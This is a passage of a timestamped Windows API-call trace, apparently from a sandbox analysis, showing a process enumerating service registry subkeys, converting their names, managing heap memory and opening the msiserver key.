[0258.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.875] RegEnumKeyW (in: hKey=0x148, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0258.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0258.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.876] RegEnumKeyW (in: hKey=0x148, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0258.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0258.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0258.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.876] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0258.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0258.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0258.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.876] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0258.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0258.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1df0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0258.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.877] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0258.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0258.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0258.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.877] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0258.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0258.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1df0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0258.877] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0258.877] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0258.877] RegEnumKeyW (in: hKey=0x148, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0258.878] RegEnumKeyW (in: hKey=0x148, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0258.878] RegEnumKeyW (in: hKey=0x148, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0258.878] RegEnumKeyW (in: hKey=0x148, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0258.878] RegEnumKeyW (in: hKey=0x148, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0258.878] RegEnumKeyW (in: hKey=0x148, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0258.878] RegEnumKeyW (in: hKey=0x148, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0258.878] RegEnumKeyW (in: hKey=0x148, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0258.878] RegEnumKeyW (in: hKey=0x148, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0258.878] RegEnumKeyW (in: hKey=0x148, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0258.878] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0258.878] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0258.878] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0258.879] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0258.879] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0258.879] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0258.879] RegEnumKeyW (in: hKey=0x148, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0258.879] RegEnumKeyW (in: hKey=0x148, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0258.879] RegEnumKeyW (in: hKey=0x148, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0258.879] RegEnumKeyW (in: hKey=0x148, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0258.879] RegEnumKeyW (in: hKey=0x148, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0258.879] RegEnumKeyW (in: hKey=0x148, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0258.879] RegEnumKeyW (in: hKey=0x148, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0258.879] RegEnumKeyW (in: hKey=0x148, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0258.879] RegEnumKeyW (in: hKey=0x148, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0258.880] RegEnumKeyW (in: hKey=0x148, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0258.880] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0258.880] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0258.880] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0258.880] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0258.880] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0258.880] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0258.880] RegEnumKeyW (in: hKey=0x148, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0258.880] RegEnumKeyW (in: hKey=0x148, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0258.880] RegEnumKeyW (in: hKey=0x148, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0258.880] RegEnumKeyW (in: hKey=0x148, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0258.880] RegEnumKeyW (in: hKey=0x148, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0258.880] RegEnumKeyW (in: hKey=0x148, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0258.881] RegEnumKeyW (in: hKey=0x148, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0258.881] RegEnumKeyW (in: hKey=0x148, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0258.881] RegEnumKeyW (in: hKey=0x148, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0258.881] RegEnumKeyW (in: hKey=0x148, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0258.881] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0258.881] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0258.881] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0258.881] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0258.881] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0258.881] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0258.881] RegEnumKeyW (in: hKey=0x148, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0258.881] RegEnumKeyW (in: hKey=0x148, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0258.882] RegEnumKeyW (in: hKey=0x148, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0258.882] RegEnumKeyW (in: hKey=0x148, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0258.882] RegEnumKeyW (in: hKey=0x148, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0258.882] RegEnumKeyW (in: hKey=0x148, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0258.882] RegEnumKeyW (in: hKey=0x148, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0258.882] RegEnumKeyW (in: hKey=0x148, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0258.882] RegEnumKeyW (in: hKey=0x148, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0258.882] RegEnumKeyW (in: hKey=0x148, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0258.882] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0258.882] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0258.882] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0258.882] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0258.883] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0258.883] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0258.883] RegEnumKeyW (in: hKey=0x148, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0258.883] RegEnumKeyW (in: hKey=0x148, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0258.883] RegEnumKeyW (in: hKey=0x148, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0258.883] RegEnumKeyW (in: hKey=0x148, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0258.883] RegEnumKeyW (in: hKey=0x148, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0258.883] RegEnumKeyW (in: hKey=0x148, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0258.883] RegEnumKeyW (in: hKey=0x148, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0258.883] RegEnumKeyW (in: hKey=0x148, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0258.883] RegEnumKeyW (in: hKey=0x148, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0258.883] RegEnumKeyW (in: hKey=0x148, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0258.884] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0258.884] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0258.884] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0258.884] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0258.884] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0258.884] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0258.884] RegEnumKeyW (in: hKey=0x148, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0258.884] RegEnumKeyW (in: hKey=0x148, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0258.884] RegEnumKeyW (in: hKey=0x148, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0258.884] RegEnumKeyW (in: hKey=0x148, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0258.884] RegEnumKeyW (in: hKey=0x148, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0258.884] RegEnumKeyW (in: hKey=0x148, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0258.884] RegEnumKeyW (in: hKey=0x148, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0258.885] RegEnumKeyW (in: hKey=0x148, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0258.885] RegEnumKeyW (in: hKey=0x148, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0258.885] RegEnumKeyW (in: hKey=0x148, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0258.885] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0258.885] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0258.885] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0258.885] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0258.885] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0258.885] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0258.885] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0258.885] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0258.885] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0258.886] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0258.886] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0258.886] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0258.886] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0258.886] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0258.886] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0258.886] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0258.886] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0258.886] RegEnumKeyW (in: hKey=0x148, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0258.886] RegEnumKeyW (in: hKey=0x148, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0258.886] RegEnumKeyW (in: hKey=0x148, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0258.886] RegEnumKeyW (in: hKey=0x148, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0258.887] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0258.887] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0258.887] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0258.887] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0258.887] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0258.887] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0258.887] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0258.887] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0258.887] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0258.887] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0258.887] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0258.887] RegEnumKeyW (in: hKey=0x148, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0258.888] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0258.888] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0258.888] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0258.888] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0258.888] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0258.888] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0258.888] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0258.888] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0258.888] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0258.888] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0258.888] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0258.888] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0258.889] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0258.889] RegOpenKeyExW (in: hKey=0x148, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0258.889] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0258.889] RegCloseKey (hKey=0x148) returned 0x0 [0258.889] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0258.889] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0258.889] RegEnumKeyW (in: 